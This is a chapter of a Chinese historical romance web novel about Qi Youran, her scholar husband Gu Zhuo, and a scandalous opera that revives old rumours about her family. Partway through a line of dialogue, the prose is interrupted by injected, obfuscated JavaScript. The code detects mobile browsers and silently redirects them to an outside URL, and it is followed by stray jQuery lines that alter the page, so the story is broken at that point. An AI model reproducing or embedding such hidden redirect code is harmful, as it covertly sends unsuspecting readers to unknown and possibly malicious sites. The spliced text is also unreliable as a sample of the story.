屋内一时只余下两人细微的呼吸，在昏黄灯光中轻轻缠绕。


    间或响起碗沿与勺柄的声音，相撞后一触即分，发出极清冷的一声“叮”。


    “为何最近事情如此繁忙？”祁悠然的目光落在顾濯略显清减的侧脸上，不解地问。


    顾濯手中银匙在碗沿上轻轻一顿，那“叮”声便比方才更清晰些。


    他眼帘微垂，声音也低了下去，带着一丝不易察觉的沙哑：“呈御览的书稿里挑出了几处纰漏，需得重撰，偏又期限将近。”


    “有人给你使绊子了？”祁悠然皱眉。


    这官场里的弯弯绕绕，明枪暗箭，可比那戏台上唱的花样还多。


    顾濯的眼睫在烛影里微微一颤，垂了下去，目光落在碗中袅袅升起的一缕微薄热气上，声音也像那热气一般，虚虚地浮着，不着痕迹地散开了去：“在其位，谋其事罢了。横竖都是分内工夫。”


    话是同往常一样简短，甚至更平淡，听不出情绪。可祁悠然却从中听出了些许不愿多言的自矜。


    她的目光缓缓移向那张宽大的书案。


    案头早已被堆积的案卷与典籍侵占，层层叠叠，竟垒砌起几座森然的“西楼”。


    书册本是明智的，是红尘里难得的清静去处。往昔偶有心绪郁结，只消独上那精神的高阁，凭栏远眺，或吟哦，或咏叹，天地便也开阔了。


    可眼下，这层层叠叠的“楼台”密密匝匝地挤挨着，非但遮断了远眺的视线，连一丝天光也吝啬漏下。它们不再引向旷达，倒像是由他——这个被无情征发来的徭役，一册一册、一卷一卷，垒起了一座囚笼。


    烛火幽微，映着那清减的侧影，愈发像笼中一只折了翼的鹤，羽衣黯淡。


    祁悠然心底蓦地浮起一个荒唐的念头：她可否学那哭倒长城的孟姜女，将这森严的书城也一把推了去？或者像移山的愚公，将这无穷无尽的案牍之山，连同那压在他肩上的无形重轭，一并倾覆了，还他一个海阔天空？


    她转而又自嘲地想，她分明是手持朱签、催逼工期的酷吏，是这囚笼工程的监工。是眼睁睁看着他磋磨岁月、耗尽心力的……帮凶。


    枣泥山药糕清甜的滋味在嘴里弥漫，却掩不住心中的苦涩。


    窗外，雨声又起，淅淅沥沥，由疏转密，像是要把这夜无限地延长下去。


    “你……可曾后悔？”


    “……会怨我吗？”


    这两句话在喉间滚了几滚，终究被那点糕点的甜腻黏住，到底没有说出口。


    她想，也罢，横竖这点甜味儿也撑不了多久。待它散了，像这雨声终会歇止一般，她便把话问出口。


    总好过现在这般，一颗心悬在半空，被这点虚妄的滋味吊着，不上不下地煎熬着。


    “你……”


    “如若无事，早些回去歇息吧。”


    顾濯的声音响起，截断了她犹疑的问询。


    祁悠然手指蜷缩了一下：“……好。”


    再没有别的。


    舌尖的甜已然散尽，可心底的怯懦却占了上风。


    她起身，烛火在她身后拖出一道长长的影子，黏在地上，竟有些依依不舍的意味。


    “春寒料峭，以后出门，穿厚实些。”顾濯的声音又从身后追来，隔着几步的距离，带着点倦意，却又像一层薄薄的暖，轻轻覆在她背上。


    祁悠然顿了顿，半晌，才挤出一个干涩短促的音节：“好。”


    依然干涩，依然没有别的。


    门扉合拢，隔绝了烛光，也隔绝了那人清冷的气息。


    廊下的寒气扑面而来，激得她一颤。黑暗中，她无声地牵了牵嘴角，唇边凝起一点自厌的弧度。


    你可真是个胆小鬼，问都不敢问。她嘲笑着自己。


    细雨声声，敲在瓦上，滴在阶前，闷在心里，无休无止。


    .


    雨，不分贵贱地落着。落在城外黝黑松软的泥土里，也落在城中春江阁那新漆过的华贵戏台上。


    春江阁的一出旧戏，不知怎的，忽就红透了半边天。


    原是张生与秋娘，青梅竹马遭恶霸拆散，生离死别，赚尽妇人泪。


    这回，戏文却生生拧转，缝补成花团锦簇的团圆。


    凭空降下一位铁面无私的清正巡抚，雷霆手段，查实那恶霸贩卖私盐、私设刑狱、草菅人命等十数条罪状，桩桩件件，铁证如山。


    锁链哗啦，囚车游街，虎头铡落得比惊雷响！


    这故事的结尾，戏台上唱得更是酣畅淋漓。


    恶霸身首异处，爪牙齐上断头台，连祖坟都被铁锹无情刨开，曝于天日。


    刑场血污未干，戏台已演至最光鲜一幕。


    张生与秋娘，这对历尽劫波的璧人，竟在当年盟誓的那株桃树下重逢了。


    桃树自然是纸扎的，开着一树永不凋谢的假花，艳得有些俗气。而那位刚刚为世间主持了公道的巡抚大人，此刻又换上了一副慈眉善目的红脸，亲自主持了二人的婚仪，赐下“天作之合”的匾额。


    台上红烛高烧，喜乐喧天，生旦净末丑粉墨登场，将那“苦尽甘来”、“皇天不负有情人”的调子唱得震天响。


    台下看客们拍红了巴掌，笑得合不拢嘴，仿佛昨日血腥已被今日浓腻喜气冲刷干净。


    戏台之上，是人工涂抹、不容置疑的大团圆；而泥土之下，是绿芽破土、生机盎然的新希望。


    再没有比这更令人欢喜的事了。


    看客们心满意足地散去，嘴里咂摸着这出痛快的好戏，只觉得这湿漉漉的阴郁天气，因了这戏台上的圆满，似乎也透出点爽快来。


    巧合的是，戏里那被刨坟戮尸的恶霸，偏偏姓了“齐”。


    戏文里咿咿呀呀念出的，那音调口型，分明一模一样。


    于是，仿佛得了某种心照不宣的暗示，又或是这新编的痛快结局勾起了人对“恶有恶报”更贪婪的胃口，三年前那桩旧事，竟又被好事者从尘土里刨出，成了佐餐消遣的新鲜谈资。


    .


    窗外透进来的天光也是灰蒙蒙的，带着雨意。


    “嗤，”祁悠然指尖捻着那册新编的戏文，唇边噙着一抹轻蔑的冷笑，“这张生与秋娘，骨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879130|175983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头软得连争一争的胆气都无，便乖乖认了命，只巴巴等着天上掉下个青天大老爷来替他们伸冤报仇……这等懦夫怨妇，倒真是可怜又可笑。”


    她眉梢一挑：“若我是他们其中一个，管他什么恶霸阎罗，捅不死他，便放一把冲天大火，烧他个干干净净。自己的仇怨，何须旁人插手？”


    白石侍立一旁：“眼下，要怎么处理这戏？园子里日日满座，流言也跟着甚嚣尘上。”


    祁悠然指尖翻飞，那戏文在她手下簌簌作响，一目十行地掠过那些廉价地只为博个大快人心的粗劣文字。蓦地，她指尖停在某一页上。


    她皱眉看着“刨祖坟”那几个字，眼中结了霜。


    这恶霸，姓“齐”，而不是“林”。


    将戏文随手搁在桌上，她冷冷吩咐：“去把春江阁封了。”


    白石迟疑一瞬：“近来京城那些风言风语……甚嚣尘上。此时封园，只怕……”


    “三年前就被议论惯了，唾沫星子淹不死人。”祁悠然不甚在意地垂下眼，“由着他们嚼去。横竖……也嚼不出朵新花样来。”


    这话说得轻飘飘，带着点厌倦的漠然。


    她的目光却并未真正落到实处，而是虚虚地滑过桌面。


    桌案隔着几枚色泽温润的玉珠，旁边叠放着几样料子，还有几页写满的香方。


    祁悠然的目光落下去，细细挑拣一番，可那指尖悬而未决，迟迟不曾落下。


    她的心，蓦地也跟着罕见地犹豫了。


    她自己不在乎，那……顾濯呢？


    这阵子的戏文、流言，实在来得蹊跷，背后像是有人在专门推波助澜。


    再结合先前莫名的刺杀，周氏母女的失踪……


    桩桩件件，摆明了就是冲她来的。


    她自可以八风不动，稳坐钓鱼台，静看幕后推手何时现形。这盘棋，她耗得起。


    可……顾濯怎么办？


    他身处的是另一个世界，讲究清誉，注重门楣……


    况且，那翰林院的差事本就辛苦，案牍劳形，字字推敲，耗神费力。若因着她，再被同僚排挤孤立，饶是他贵为侯府世子，身份清贵，长此以往，又怎会不疲累？


    有些代价，她付得起，眼都不眨；有些人的清静安宁，她却一丝一毫也赌不起。


    祁悠然闭了闭眼，呼出一股浊气，带着不甘，也带着一丝无可奈何的妥协。


    窗棂透进来的日光，在她脸上割出明暗不定的光影。


    “等等，”她喊住白石，“你去找人，把那些……关于我的流言蜚语，能压的，都压下去。尤其是……和侯府、和世子沾边的。”


    最后几个字，她说得格外清晰，也格外艰难。


    .


    “哎呀，晏川，你这位夫人，最近可有的忙喽。也怪她自己，三年前为了嫁给你，甚至不惜悖逆人伦，告发亲父。情意固然珍贵，然则行至如此境地，未免……过于决绝了。”


    顾濯坐在阴影里，垂着眼，神情莫测。


    半晌，他撩起眼皮，冷淡的声音从薄唇里逸出来：“你弄反了因果。”